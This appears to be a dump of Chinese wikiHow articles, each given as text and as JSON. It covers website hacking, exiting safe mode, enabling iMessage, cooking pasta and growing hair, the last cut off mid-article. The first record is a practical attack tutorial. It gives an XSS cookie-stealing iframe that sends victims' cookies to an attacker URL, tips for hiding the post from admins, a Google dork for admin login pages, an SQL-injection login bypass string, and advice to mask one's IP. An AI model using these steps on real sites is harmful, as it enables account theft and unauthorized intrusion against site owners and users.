光读这篇网站，是不能让你瞬间变为一名黑客的。你一定要多涉猎各种知识，多多练习，才能成功。
入侵网站绝对是非法的。如果入侵网站责任在你，你一定会惹上法律问题。
| {
"create_time": "20230517 11:02:14",
"回答明细": "{\"回答\": \"1. 使用跨站点脚本处理方法\\n1-1. 找个安全性低的可以发帖的网站。\\n比如可以发布信息帖子的网站。注意，如果网站安全性强，下面入侵方法就不起作用。\\n1-2. 创建帖子。\\n要在帖子内容中输入一些内容，这样不管谁点击了帖子，数据都会被窃取。\\n你可以测试一下，看看该网站系统会不会过滤代码。在帖子中输入<script...>alert(“test”)</...script> （把句点删掉）。如果点击帖子的时候，会出现一个警告窗口，说明站点易受攻击。\\n1-3. 创建并上传cookie捕捉器。\\n本攻击的目的是窃取用户的cookie内容，通过cookie内容，你就可以轻松登录安全性弱的网站，进入对方的账户。这里你需要准备cookie捕捉器（某种代码），这个代码会捕捉用户的cookie并转发出去，你可以给一个可以登录的，又支持PHP网页的网站上传一个捕捉器。例子里有个cookie捕捉器供参考。\\n1-4. 将帖子和cookie捕捉器一起发布出去。\\n输入一定的代码，就可以让帖子抓取用户的cookie，并发送到你的网站中去。你需要在代码之后输入一些文字，减少访客的怀疑，并减少管理员删帖的几率。\\ncookie捕捉器的例子：<...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location=”YOURURL/cookiecatcher.php?c=”+document.cookie)><.../iframe>（将句点删掉。）\\n1-5. 使用抓取的cookies。\\n之后就可以将抓取的cookie发送到你的网站，你可以随意使用对方的cookies了。\\n2. 执行注入式攻击\\n2-1. 找到安全性低的网站。\\n你要找到一个管理员（admin）账户安全性低、容易破解的网站。你可以在google上找 admin login.asp 这两个关键词。\\n2-2. 以管理员身份登录。\\n输入admin作为用户名，然后用数字或一串字母作为密码登录进去。密码可能是任何数字和字母的组合，但最常见的例子有1’或’1’=’1。\\n2-3. 耐心点。\\n可能会试错几次密码，所以要久一点。\\n2-4. 进入网站。\\n最后就可以以某个密码登录进安全性低的网站，进行入侵了。\\n3. 为成功入侵做准备\\n3-1. 学一两种编程语言。\\n要是你想要真正掌握破解网站的本质方法，你得了解电脑和各种互联网运行的方式。可以学一两种像Python或SQL的编程语言，这样你就可以更好地掌控电脑，找出网站系统中的脆弱点了。\\n3-2. 学好HTML基础知识。\\n你也需要对HTML和javascript有很好的了解，这样就能针对性地破解某些网页了。这些代码需要一段时间的学习，不过网上有很多很好的学习资料，要是你仔细找的话，不愁找不到的。\\n3-3. 咨询白帽黑客。\\n白帽黑客是身具黑客知识，把能力发挥在正当之处的特殊黑客。白帽黑客会曝光安全漏洞，还会让互联网更稳定实用。要是你也想发挥正义的力量，或者想保护自家网站的安全，你可以咨询一些白帽黑客了解一些建议。\\n3-4. 做做研究。\\n想了解怎么入侵网站，或者想要保护自己的网站，你需要做很多研究工作。网站受攻击的方式有很多种的，所以要坚持学习相关知识。\\n3-5. 保持更新。\\n因为网站的入侵方式也在不断变化，你要确保自己跟上最前沿的相关知识。一种攻击奈何不了你，不代表你就没有其他漏洞了！\\n小提示\\n访问黑客论坛，了解各种有用的技巧。\\n警告\\n要是你在现实生活中尝试入侵网站，用一些软件掩盖住你的IP地址。\\n光读这篇网站，是不能让你瞬间变为一名黑客的。你一定要多涉猎各种知识，多多练习，才能成功。\\n入侵网站绝对是非法的。如果入侵网站责任在你，你一定会惹上法律问题。\\n\", \"简要回答\": \"注意：这篇指南文章只作教育用途，应该用在正当的入侵测试上，用来提升网站的安全性。这篇指南文章会教你如何一步步入侵安全性低的网站。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用跨站点脚本处理方法\", \"步骤\": [{\"编号\": 1, \"标题\": \"找个安全性低的可以发帖的网站。\", \"描述\": \"比如可以发布信息帖子的网站。注意，如果网站安全性强，下面入侵方法就不起作用。\"}, {\"编号\": 2, \"标题\": \"创建帖子。\", \"描述\": \"要在帖子内容中输入一些内容，这样不管谁点击了帖子，数据都会被窃取。\\n你可以测试一下，看看该网站系统会不会过滤代码。在帖子中输入<script...>alert(“test”)</...script> （把句点删掉）。如果点击帖子的时候，会出现一个警告窗口，说明站点易受攻击。\"}, {\"编号\": 3, \"标题\": \"创建并上传cookie捕捉器。\", \"描述\": \"本攻击的目的是窃取用户的cookie内容，通过cookie内容，你就可以轻松登录安全性弱的网站，进入对方的账户。这里你需要准备cookie捕捉器（某种代码），这个代码会捕捉用户的cookie并转发出去，你可以给一个可以登录的，又支持PHP网页的网站上传一个捕捉器。例子里有个cookie捕捉器供参考。\"}, {\"编号\": 4, \"标题\": \"将帖子和cookie捕捉器一起发布出去。\", \"描述\": \"输入一定的代码，就可以让帖子抓取用户的cookie，并发送到你的网站中去。你需要在代码之后输入一些文字，减少访客的怀疑，并减少管理员删帖的几率。\\ncookie捕捉器的例子：<...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location=”YOURURL/cookiecatcher.php?c=”+document.cookie)><.../iframe>（将句点删掉。）\"}, {\"编号\": 5, \"标题\": \"使用抓取的cookies。\", \"描述\": \"之后就可以将抓取的cookie发送到你的网站，你可以随意使用对方的cookies了。\"}]}, {\"编号\": 2, \"标题\": \"执行注入式攻击\", \"步骤\": [{\"编号\": 1, \"标题\": \"找到安全性低的网站。\", \"描述\": \"你要找到一个管理员（admin）账户安全性低、容易破解的网站。你可以在google上找 admin login.asp 这两个关键词。\"}, {\"编号\": 2, \"标题\": \"以管理员身份登录。\", \"描述\": \"输入admin作为用户名，然后用数字或一串字母作为密码登录进去。密码可能是任何数字和字母的组合，但最常见的例子有1’或’1’=’1。\"}, {\"编号\": 3, \"标题\": \"耐心点。\", \"描述\": \"可能会试错几次密码，所以要久一点。\"}, {\"编号\": 4, \"标题\": \"进入网站。\", \"描述\": \"最后就可以以某个密码登录进安全性低的网站，进行入侵了。\"}]}, {\"编号\": 3, \"标题\": \"为成功入侵做准备\", \"步骤\": [{\"编号\": 1, \"标题\": \"学一两种编程语言。\", \"描述\": \"要是你想要真正掌握破解网站的本质方法，你得了解电脑和各种互联网运行的方式。可以学一两种像Python或SQL的编程语言，这样你就可以更好地掌控电脑，找出网站系统中的脆弱点了。\"}, {\"编号\": 2, \"标题\": \"学好HTML基础知识。\", \"描述\": \"你也需要对HTML和javascript有很好的了解，这样就能针对性地破解某些网页了。这些代码需要一段时间的学习，不过网上有很多很好的学习资料，要是你仔细找的话，不愁找不到的。\"}, {\"编号\": 3, \"标题\": \"咨询白帽黑客。\", \"描述\": \"白帽黑客是身具黑客知识，把能力发挥在正当之处的特殊黑客。白帽黑客会曝光安全漏洞，还会让互联网更稳定实用。要是你也想发挥正义的力量，或者想保护自家网站的安全，你可以咨询一些白帽黑客了解一些建议。\"}, {\"编号\": 4, \"标题\": \"做做研究。\", \"描述\": \"想了解怎么入侵网站，或者想要保护自己的网站，你需要做很多研究工作。网站受攻击的方式有很多种的，所以要坚持学习相关知识。\"}, {\"编号\": 5, \"标题\": \"保持更新。\", \"描述\": \"因为网站的入侵方式也在不断变化，你要确保自己跟上最前沿的相关知识。一种攻击奈何不了你，不代表你就没有其他漏洞了！\"}], \"小提示\": [\"访问黑客论坛，了解各种有用的技巧。\\n\"], \"注意事项\": [\"要是你在现实生活中尝试入侵网站，用一些软件掩盖住你的IP地址。\\n\", \"光读这篇网站，是不能让你瞬间变为一名黑客的。你一定要多涉猎各种知识，多多练习，才能成功。\\n\", \"入侵网站绝对是非法的。如果入侵网站责任在你，你一定会惹上法律问题。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,670 | 如何以安全模式退出 | 1. 在Windows XP，Vista和7
1-1. 通常情况下，系统重新启动后安全模式应自动结束。
如果不行，按照下面的步骤。
1-2. 按下启动按钮。
1-3. 搜索msconfig 。
在搜索栏中，键入“msconfig”。
1-4. 打开程序。
点击msconfig.exe打开配置实用程序。
1-5. 或者，打开命令框。
点击开始，运行即打开“命令”框。如果“命令”框不启动，键入cmd.exe。如果上述方法不奏效，在安全模式下在命令框中输入“msconfig”。“系统配置实用程序”的程序应该在屏幕上打开。
1-6. 单击实用程序上的“常规”选项卡。
选择“正常启动”选项。点击“应用”和“确定”确认更改回正常模式。
1-7. 按照屏幕上的提示重新启动计算机。
您的电脑应该重新正常启动。
1-8. 如果不行，再试一次。
重复上述过程返回到msconfig菜单。
1-9. 取消选中“安全启动”。
点击“启动”选项卡，并确保未选“安全启动”选项。重复前面描述的“常规”选项卡步骤，然后重新启动。
1-10. 再试一次。
如果该方法不起作用，可能是启动程序有问题。巡航到msconfig，再次单击“启动”选项卡。禁用所有的启动程序，或者，如果您知道哪一个出问题，禁用此单一程序。
1-11. 重新启动，直到返回正常模式。
一旦电脑在正常模式下开机，就完成了。
2. 在Mac上退出安全模式
2-1. 检查shift键没有卡住。
按住Shift键会使电脑在安全模式下启动，所以确保您的Shift键没坏。
2-2. 打开终端。
这可从应用程序→实用程序→Terminal.app中找到。
2-3. 在终端中输入代码。
输入“sudo nvram boot-args=”（包括引号）到命令行或“终端” 。
2-4. 按“确认”然后按照屏幕上的提示您重新启动计算机。
小提示
您还可以从安全模式屏幕选项选择“正常启动Windows ”。
如果您在Windows使用“ F8 ”键或在Mac 使用“Shift”键进入安全模式，您可以不按任何按钮恢复正常启动计算机。
警告
如果您不能按“ F8 ”进入安全模式，您不应该使用Windows配置实用程序。一些恶意病毒可以更改注册表以拒绝计算机进入安全模式。使用该实用程序导致电脑不断尝试进入安全模式。
| {
"create_time": "20230517 11:02:14",
"回答明细": "{\"回答\": \"1. 在Windows XP，Vista和7\\n1-1. 通常情况下，系统重新启动后安全模式应自动结束。\\n如果不行，按照下面的步骤。\\n1-2. 按下启动按钮。\\n\\n1-3. 搜索msconfig 。\\n在搜索栏中，键入“msconfig”。\\n1-4. 打开程序。\\n点击msconfig.exe打开配置实用程序。\\n1-5. 或者，打开命令框。\\n点击开始，运行即打开“命令”框。如果“命令”框不启动，键入cmd.exe。如果上述方法不奏效，在安全模式下在命令框中输入“msconfig”。“系统配置实用程序”的程序应该在屏幕上打开。\\n1-6. 单击实用程序上的“常规”选项卡。\\n选择“正常启动”选项。点击“应用”和“确定”确认更改回正常模式。\\n1-7. 按照屏幕上的提示重新启动计算机。\\n您的电脑应该重新正常启动。\\n1-8. 如果不行，再试一次。\\n重复上述过程返回到msconfig菜单。\\n1-9. 取消选中“安全启动”。\\n点击“启动”选项卡，并确保未选“安全启动”选项。重复前面描述的“常规”选项卡步骤，然后重新启动。\\n1-10. 再试一次。\\n如果该方法不起作用，可能是启动程序有问题。巡航到msconfig，再次单击“启动”选项卡。禁用所有的启动程序，或者，如果您知道哪一个出问题，禁用此单一程序。\\n1-11. 重新启动，直到返回正常模式。\\n一旦电脑在正常模式下开机，就完成了。\\n2. 在Mac上退出安全模式\\n2-1. 检查shift键没有卡住。\\n按住Shift键会使电脑在安全模式下启动，所以确保您的Shift键没坏。\\n2-2. 打开终端。\\n这可从应用程序→实用程序→Terminal.app中找到。\\n2-3. 在终端中输入代码。\\n输入“sudo nvram boot-args=”（包括引号）到命令行或“终端” 。\\n2-4. 按“确认”然后按照屏幕上的提示您重新启动计算机。\\n\\n小提示\\n您还可以从安全模式屏幕选项选择“正常启动Windows ”。\\n如果您在Windows使用“ F8 ”键或在Mac 使用“Shift”键进入安全模式，您可以不按任何按钮恢复正常启动计算机。\\n警告\\n如果您不能按“ F8 ”进入安全模式，您不应该使用Windows配置实用程序。一些恶意病毒可以更改注册表以拒绝计算机进入安全模式。使用该实用程序导致电脑不断尝试进入安全模式。\\n\", \"简要回答\": \"安全模式是一种以有限的文件和驱动程序启动计算机的方式。此模式可让Windows和Mac用户进行诊断和解决所遇到的问题。有些用户用完安全模式要退出却遇到麻烦。这篇文章告诉您如何退出安全模式。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"在Windows XP，Vista和7\", \"步骤\": [{\"编号\": 1, \"标题\": \"通常情况下，系统重新启动后安全模式应自动结束。\", \"描述\": \"如果不行，按照下面的步骤。\"}, {\"编号\": 2, \"标题\": \"按下启动按钮。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"搜索msconfig 。\", \"描述\": \"在搜索栏中，键入“msconfig”。\"}, {\"编号\": 4, \"标题\": \"打开程序。\", \"描述\": \"点击msconfig.exe打开配置实用程序。\"}, {\"编号\": 5, \"标题\": \"或者，打开命令框。\", \"描述\": \"点击开始，运行即打开“命令”框。如果“命令”框不启动，键入cmd.exe。如果上述方法不奏效，在安全模式下在命令框中输入“msconfig”。“系统配置实用程序”的程序应该在屏幕上打开。\"}, {\"编号\": 6, \"标题\": \"单击实用程序上的“常规”选项卡。\", \"描述\": \"选择“正常启动”选项。点击“应用”和“确定”确认更改回正常模式。\"}, {\"编号\": 7, \"标题\": \"按照屏幕上的提示重新启动计算机。\", \"描述\": \"您的电脑应该重新正常启动。\"}, {\"编号\": 8, \"标题\": \"如果不行，再试一次。\", \"描述\": \"重复上述过程返回到msconfig菜单。\"}, {\"编号\": 9, \"标题\": \"取消选中“安全启动”。\", \"描述\": \"点击“启动”选项卡，并确保未选“安全启动”选项。重复前面描述的“常规”选项卡步骤，然后重新启动。\"}, {\"编号\": 10, \"标题\": \"再试一次。\", \"描述\": \"如果该方法不起作用，可能是启动程序有问题。巡航到msconfig，再次单击“启动”选项卡。禁用所有的启动程序，或者，如果您知道哪一个出问题，禁用此单一程序。\"}, {\"编号\": 11, \"标题\": \"重新启动，直到返回正常模式。\", \"描述\": \"一旦电脑在正常模式下开机，就完成了。\"}]}, {\"编号\": 2, \"标题\": \"在Mac上退出安全模式\", \"步骤\": [{\"编号\": 1, \"标题\": \"检查shift键没有卡住。\", \"描述\": \"按住Shift键会使电脑在安全模式下启动，所以确保您的Shift键没坏。\"}, {\"编号\": 2, \"标题\": \"打开终端。\", \"描述\": \"这可从应用程序→实用程序→Terminal.app中找到。\"}, {\"编号\": 3, \"标题\": \"在终端中输入代码。\", \"描述\": \"输入“sudo nvram boot-args=”（包括引号）到命令行或“终端” 。\"}, {\"编号\": 4, \"标题\": \"按“确认”然后按照屏幕上的提示您重新启动计算机。\", \"描述\": \"\"}], \"小提示\": [\"您还可以从安全模式屏幕选项选择“正常启动Windows ”。\\n\", \"如果您在Windows使用“ F8 ”键或在Mac 使用“Shift”键进入安全模式，您可以不按任何按钮恢复正常启动计算机。\\n\"], \"注意事项\": [\"如果您不能按“ F8 ”进入安全模式，您不应该使用Windows配置实用程序。一些恶意病毒可以更改注册表以拒绝计算机进入安全模式。使用该实用程序导致电脑不断尝试进入安全模式。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,671 | 如何在iPhone或iPad上将短信更改为iMessage | 1. 步骤
1-1. 发送者和接收者都必须连接互联网。
iMessage通过互联网发送，因此双方都必须连接Wi-Fi或蜂窝网络。
安卓用户无法收发iMessage。
显示为绿色的信息是短信或彩信，显示为蓝色的信息是iMessage。
1-2. 打开iPhone的“设置”菜单。
它通常位于主屏幕上。
1-3. 点击信息。
图标为绿色，中间有一个白色的聊天气泡。
1-4. 将“iMessage”开关滑动到。
如果已打开，则无需更改。
1-5. 将“作为短信发送”开关滑动到。
注意，如果你关闭了此开关，将无法向安卓用户或其他非iPhone用户发送短信。
1-6. 向下滚动并点击发送与接收。
随后会显示联系信息。
1-7. 选择电子邮件地址和电话号码。
它们显示在“可通过iMessage与您联络的方式”标题下。如果没有在左侧看到勾选标记，点击将它们选中。
1-8. 按Home键返回主屏幕。
1-9. 打开“信息”。
它通常位于主屏幕上，图标为绿色，中间有一个白色的聊天气泡。
1-10. 发送信息。
现在你发送的所有信息都是iMessage信息，而不再是短信或彩信。
如果无法发送信息，请重启iPhone。
完成后，最好再次打开短信选项，以免非iPhone用户收不到信息，方法如下：
打开{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/7\/7e\/Iphonesettingsappicon.png","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/7\/7e\/Iphonesettingsappicon.png\/30px-Iphonesettingsappicon.png","smallWidth":460,"smallHeight":460,"bigWidth":30,"bigHeight":30,"licensing":"<div class=\"mw-parser-output\"><\/div>"}。
点击。
将“作为短信发送”滑动到“开”的位置。
| {
"create_time": "20230517 11:02:14",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 发送者和接收者都必须连接互联网。\\niMessage通过互联网发送，因此双方都必须连接Wi-Fi或蜂窝网络。\\n安卓用户无法收发iMessage。\\n显示为绿色的信息是短信或彩信，显示为蓝色的信息是iMessage。\\n1-2. 打开iPhone的“设置”菜单。\\n它通常位于主屏幕上。\\n1-3. 点击信息。\\n图标为绿色，中间有一个白色的聊天气泡。\\n1-4. 将“iMessage”开关滑动到。\\n如果已打开，则无需更改。\\n1-5. 将“作为短信发送”开关滑动到。\\n注意，如果你关闭了此开关，将无法向安卓用户或其他非iPhone用户发送短信。\\n1-6. 向下滚动并点击发送与接收。\\n随后会显示联系信息。\\n1-7. 选择电子邮件地址和电话号码。\\n它们显示在“可通过iMessage与您联络的方式”标题下。如果没有在左侧看到勾选标记，点击将它们选中。\\n1-8. 按Home键返回主屏幕。\\n\\n1-9. 打开“信息”。\\n它通常位于主屏幕上，图标为绿色，中间有一个白色的聊天气泡。\\n1-10. 发送信息。\\n现在你发送的所有信息都是iMessage信息，而不再是短信或彩信。\\n如果无法发送信息，请重启iPhone。\\n完成后，最好再次打开短信选项，以免非iPhone用户收不到信息，方法如下：\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/7\\\\/7e\\\\/Iphonesettingsappicon.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/7\\\\/7e\\\\/Iphonesettingsappicon.png\\\\/30px-Iphonesettingsappicon.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n将“作为短信发送”滑动到“开”的位置。\\n\", \"简要回答\": \"本指南介绍如何在iPhone或iPad上强制使用iMessage发送短信。iMessage只能发送给其他iPhone用户。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"发送者和接收者都必须连接互联网。\", \"描述\": \"iMessage通过互联网发送，因此双方都必须连接Wi-Fi或蜂窝网络。\\n安卓用户无法收发iMessage。\\n显示为绿色的信息是短信或彩信，显示为蓝色的信息是iMessage。\"}, {\"编号\": 2, \"标题\": \"打开iPhone的“设置”菜单。\", \"描述\": \"它通常位于主屏幕上。\"}, {\"编号\": 3, \"标题\": \"点击信息。\", \"描述\": \"图标为绿色，中间有一个白色的聊天气泡。\"}, {\"编号\": 4, \"标题\": \"将“iMessage”开关滑动到。\", \"描述\": \"如果已打开，则无需更改。\"}, {\"编号\": 5, \"标题\": \"将“作为短信发送”开关滑动到。\", \"描述\": \"注意，如果你关闭了此开关，将无法向安卓用户或其他非iPhone用户发送短信。\"}, {\"编号\": 6, \"标题\": \"向下滚动并点击发送与接收。\", \"描述\": \"随后会显示联系信息。\"}, {\"编号\": 7, \"标题\": \"选择电子邮件地址和电话号码。\", \"描述\": \"它们显示在“可通过iMessage与您联络的方式”标题下。如果没有在左侧看到勾选标记，点击将它们选中。\"}, {\"编号\": 8, \"标题\": \"按Home键返回主屏幕。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"打开“信息”。\", \"描述\": \"它通常位于主屏幕上，图标为绿色，中间有一个白色的聊天气泡。\"}, {\"编号\": 10, \"标题\": \"发送信息。\", \"描述\": \"现在你发送的所有信息都是iMessage信息，而不再是短信或彩信。\\n如果无法发送信息，请重启iPhone。\\n完成后，最好再次打开短信选项，以免非iPhone用户收不到信息，方法如下：\\n打开{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/7\\\\/7e\\\\/Iphonesettingsappicon.png\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/7\\\\/7e\\\\/Iphonesettingsappicon.png\\\\/30px-Iphonesettingsappicon.png\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":460,\\\"bigWidth\\\":30,\\\"bigHeight\\\":30,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}。\\n点击。\\n将“作为短信发送”滑动到“开”的位置。\"}]}]}}",
"问题明细": "",
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} | wikihow |
14,672 | 如何烹制意大利面 | 1. 煮面
1-1. 将凉水加到中号煮锅里，放到炉灶上，用高火加热至煮沸。
1-2. 将意大利面条慢慢地放入沸水中，确保锅里的水能完全盖住面条。
你也可以把面条掰成两半。然后再次煮沸，同时轻轻地搅动面条，防止它们胶黏在一起，这样也能散发热量防止沸水溢出。
1-3. 煮大约7-15分钟，具体时长取决于你偏好的面条口感、意大利面的类型和面条包装袋上的说明。
煮好的意大利面应该是中央部分吃起来软软的，但是不会糊在一起。你可以在关火前试吃一小缕面条来看看它是否熟了，确认煮熟后再关火。如果面条的中央部分还是很硬的，请再煮一两分钟，然后再尝一下口感。
1-4. 关火。
在水槽中用滤器或大的滤网滤干面条，然后转移到盘子里，就可以马上装盘了。
如果面条太干，可以淋上一点橄榄油或黄油。
2. 准备酱汁
2-1. 在小的平底锅上倒一点红酱，然后放到炉子上加热到沸腾。
接着将火调成文火。
2-2. 按照包装袋上的说明，酱汁最多煮20分钟。
大部分买来的酱汁都是烹制好的，只需要用炉子简单加热一下即可。加热过程中时常搅拌一下酱汁，并在出锅前试一下温度。
可以根据你的喜好，添加其他的调味品。
2-3. 关火，静置几分钟，放凉酱汁，然后浇到意大利面条上。
3. 添加黄油
3-1. 把煎锅放到炉子上，打开高火。
切一片黄油（一份意大利面对应大约1.3厘米厚的黄油），放到锅中。
3-2. 加热黄油至溶化。
3-3. 关火。
将黄油淋到面条上。
3-4. 享用美食吧！你还可以加入帕尔马干酪、罗勒、牛至或其它意大利香料来增添风味。
小提示
如果没有黄油，也可以在面条上淋一茶匙橄榄油，既低脂营养，又能为面条添加一些丰富度和额外的风味。
鲜意大利面的烹煮时间比干面条的时间短，只需煮2-5分钟即可。[需要引证]
如果愿意的话，可以加一些煎烤的汉堡肉饼。你需要大约半斤肉末，用煎锅烤至棕色，然后放到面条上，淋上红酱就完成了。
警告
做完饭后，记得关上炉子。
在倾倒沸水的时候要小心谨慎，防止烫伤。
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"create_time": "20230517 11:02:14",
"回答明细": "{\"回答\": \"1. 煮面\\n1-1. 将凉水加到中号煮锅里，放到炉灶上，用高火加热至煮沸。\\n\\n1-2. 将意大利面条慢慢地放入沸水中，确保锅里的水能完全盖住面条。\\n你也可以把面条掰成两半。然后再次煮沸，同时轻轻地搅动面条，防止它们胶黏在一起，这样也能散发热量防止沸水溢出。\\n1-3. 煮大约7-15分钟，具体时长取决于你偏好的面条口感、意大利面的类型和面条包装袋上的说明。\\n煮好的意大利面应该是中央部分吃起来软软的，但是不会糊在一起。你可以在关火前试吃一小缕面条来看看它是否熟了，确认煮熟后再关火。如果面条的中央部分还是很硬的，请再煮一两分钟，然后再尝一下口感。\\n1-4. 关火。\\n在水槽中用滤器或大的滤网滤干面条，然后转移到盘子里，就可以马上装盘了。\\n如果面条太干，可以淋上一点橄榄油或黄油。\\n2. 准备酱汁\\n2-1. 在小的平底锅上倒一点红酱，然后放到炉子上加热到沸腾。\\n接着将火调成文火。\\n2-2. 按照包装袋上的说明，酱汁最多煮20分钟。\\n大部分买来的酱汁都是烹制好的，只需要用炉子简单加热一下即可。加热过程中时常搅拌一下酱汁，并在出锅前试一下温度。\\n可以根据你的喜好，添加其他的调味品。\\n2-3. 关火，静置几分钟，放凉酱汁，然后浇到意大利面条上。\\n\\n3. 添加黄油\\n3-1. 把煎锅放到炉子上，打开高火。\\n切一片黄油（一份意大利面对应大约1.3厘米厚的黄油），放到锅中。\\n3-2. 加热黄油至溶化。\\n\\n3-3. 关火。\\n将黄油淋到面条上。\\n3-4. 享用美食吧！你还可以加入帕尔马干酪、罗勒、牛至或其它意大利香料来增添风味。\\n\\n小提示\\n如果没有黄油，也可以在面条上淋一茶匙橄榄油，既低脂营养，又能为面条添加一些丰富度和额外的风味。\\n鲜意大利面的烹煮时间比干面条的时间短，只需煮2-5分钟即可。[需要引证]\\n如果愿意的话，可以加一些煎烤的汉堡肉饼。你需要大约半斤肉末，用煎锅烤至棕色，然后放到面条上，淋上红酱就完成了。\\n警告\\n做完饭后，记得关上炉子。\\n在倾倒沸水的时候要小心谨慎，防止烫伤。\\n\", \"简要回答\": \"红酱意大利面是一款制作简单、经典美味的意大利美食。当你时间匆忙的时候，可以快速烹制一餐美味的意大利面来犒劳自己。本文将介绍如何烹制这个经典的意大利菜肴。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"煮面\", \"步骤\": [{\"编号\": 1, \"标题\": \"将凉水加到中号煮锅里，放到炉灶上，用高火加热至煮沸。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"将意大利面条慢慢地放入沸水中，确保锅里的水能完全盖住面条。\", \"描述\": \"你也可以把面条掰成两半。然后再次煮沸，同时轻轻地搅动面条，防止它们胶黏在一起，这样也能散发热量防止沸水溢出。\"}, {\"编号\": 3, \"标题\": \"煮大约7-15分钟，具体时长取决于你偏好的面条口感、意大利面的类型和面条包装袋上的说明。\", \"描述\": \"煮好的意大利面应该是中央部分吃起来软软的，但是不会糊在一起。你可以在关火前试吃一小缕面条来看看它是否熟了，确认煮熟后再关火。如果面条的中央部分还是很硬的，请再煮一两分钟，然后再尝一下口感。\"}, {\"编号\": 4, \"标题\": \"关火。\", \"描述\": \"在水槽中用滤器或大的滤网滤干面条，然后转移到盘子里，就可以马上装盘了。\\n如果面条太干，可以淋上一点橄榄油或黄油。\"}]}, {\"编号\": 2, \"标题\": \"准备酱汁\", \"步骤\": [{\"编号\": 1, \"标题\": \"在小的平底锅上倒一点红酱，然后放到炉子上加热到沸腾。\", \"描述\": \"接着将火调成文火。\"}, {\"编号\": 2, \"标题\": \"按照包装袋上的说明，酱汁最多煮20分钟。\", \"描述\": \"大部分买来的酱汁都是烹制好的，只需要用炉子简单加热一下即可。加热过程中时常搅拌一下酱汁，并在出锅前试一下温度。\\n可以根据你的喜好，添加其他的调味品。\"}, {\"编号\": 3, \"标题\": \"关火，静置几分钟，放凉酱汁，然后浇到意大利面条上。\", \"描述\": \"\"}]}, {\"编号\": 3, \"标题\": \"添加黄油\", \"步骤\": [{\"编号\": 1, \"标题\": \"把煎锅放到炉子上，打开高火。\", \"描述\": \"切一片黄油（一份意大利面对应大约1.3厘米厚的黄油），放到锅中。\"}, {\"编号\": 2, \"标题\": \"加热黄油至溶化。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"关火。\", \"描述\": \"将黄油淋到面条上。\"}, {\"编号\": 4, \"标题\": \"享用美食吧！你还可以加入帕尔马干酪、罗勒、牛至或其它意大利香料来增添风味。\", \"描述\": \"\"}], \"小提示\": [\"如果没有黄油，也可以在面条上淋一茶匙橄榄油，既低脂营养，又能为面条添加一些丰富度和额外的风味。\\n\", \"鲜意大利面的烹煮时间比干面条的时间短，只需煮2-5分钟即可。[需要引证]\\n\", \"如果愿意的话，可以加一些煎烤的汉堡肉饼。你需要大约半斤肉末，用煎锅烤至棕色，然后放到面条上，淋上红酱就完成了。\\n\"], \"注意事项\": [\"做完饭后，记得关上炉子。\\n\", \"在倾倒沸水的时候要小心谨慎，防止烫伤。\\n\"]}]}}",
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14,673 | 如何在一周内快速长发 | 1. 使用护理产品
1-1. 用温热的油按摩头皮。
用天然油按摩头皮，有助于改善头皮健康，促进头发生长。椰子油、杏仁油、荷荷芭油和阿甘油都可以用来按摩头皮。但是，并没有科学证据证明这种方法真的能促进头发生长。
先将油放在火炉或一碗滚水中加热。使用前试一试温度，确保它不会太烫，是你可以承受的温度，以免伤到头皮或头发。
用手指蘸点温热的油，以慢慢转圈的方式轻轻地按摩头皮。如果伴侣或朋友在身边，可以让他们帮你按摩头皮。让他们用指尖按摩你的头皮15到20分钟。
然后把油抹在头发上。等待30分钟才用洗发水把头发洗干净。你可能需要洗超过1次，才能把油清除干净。
在洗头的时候用油按摩头皮，这样就能还是按照平时的频率来洗头。
1-2. 使用发膜。
多呵护头发，每周敷一两次发膜，促进毛囊生长。你可以自己用天然油做发膜，或者在本地药房买现成的发膜。
将240毫升椰子油和约15毫升杏仁油、澳洲坚果油和荷荷芭油混匀，抹在湿发上。10分钟后，像平时那样用洗发水和护发素洗头。
避免洗得太勤，在正常洗头的时候用发膜就行了。
1-3. 用蓖麻油护理头发。
众所周知，蓖麻油对皮肤和头发护理都很有好处。敷蓖麻油发膜或许能帮助头发长得更快、更健康。
先用蓖麻油按摩头皮，让油流入头发里。用塑料浴帽裹着头发和头，别让油流出来。你可以在枕头上铺一条毛巾，以免流出来的油弄脏枕头套。
就这样过一夜。第二天早上，像平时那样用洗发水和护发素洗头，一定要把所有油清理干净。
1-4. 用苹果醋洗头。
苹果醋对清除头发上的污垢、尘垢和油脂非常有效，也能清理美发产品的残留物。你可以用苹果醋代替洗发水，也可以在用了普通洗发水和护发素洗头后，再用苹果醋冲洗一次。
将2汤匙苹果醋和2杯水混匀，然后用它冲洗头发。水可能会有一股很浓的醋味，但是气味会慢慢变淡的，所以不要担心。
2. 调整平时的护发方法
2-1. 每周用洗发水洗头两到三次。
将洗头次数减少到一周两三次，好让头皮的天然油脂渗入头发。头发得到滋润，就能自己进行修复。
